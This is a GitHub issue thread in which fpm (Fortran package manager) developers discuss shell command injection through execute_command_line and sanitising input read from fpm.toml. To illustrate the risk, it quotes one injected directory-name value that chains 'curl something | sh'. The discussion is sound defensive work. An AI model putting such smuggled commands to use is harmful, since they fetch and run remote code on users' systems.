-
Notifications
You must be signed in to change notification settings - Fork 108
Security of execute_command_line #166
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Comments
Eventually we should be able to not resort to
In the interim, I think it's okay to be less safe in favor of prototyping. |
Does this include execution of compiler commands as well? |
I forgot about the compilers.. :) |
My understanding is that typical security practices are to identify all user input, and ensure that it is sanitized immediately upon being read in. It's also important to have some understanding of the attack vectors you're trying to protect against. It's more about where the data comes from than the just the call to I'm guessing the main attack vector we're trying to protect against is a malicious However, there is an attack vector that I'm not sure we can reasonably protect against; malicious Fortran code in a package. It will always be the responsibility of users of a package to verify that it does not contain malicious Fortran code; especially if using a package not in the official registry. By the time code is fed to the compiler or makes it into an executable, fpm is not what's executing it, and can't really do anything about it. |
Also the way |
Since we are using
execute_command_line
quite a lot in Fortran fpm right now, we should think about a safe alternative for all external command invokations or a way to harden the input toexecute_command_line
against exploits.Injecting bash code with directory names from
fpm.toml
using something like'; curl something | sh #'
would be one example to exploit the current way we are handling directory names. And'; curl something | sh #'
happens to be a perfectly fine directory name on Unix systems.As this projects matures a security policy regarding those issues is needed to avoid having exploits discussed publicly in an issue.
The text was updated successfully, but these errors were encountered: